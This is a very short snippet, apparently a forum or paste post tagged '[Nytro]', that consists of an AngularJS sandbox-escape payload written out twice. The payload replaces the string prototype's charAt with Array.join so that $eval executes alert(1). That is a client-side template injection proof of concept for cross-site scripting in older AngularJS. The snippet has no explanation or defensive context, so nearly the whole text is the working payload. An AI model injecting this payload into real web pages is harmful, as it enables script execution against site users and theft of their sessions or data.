x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');

[Nytro]

x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');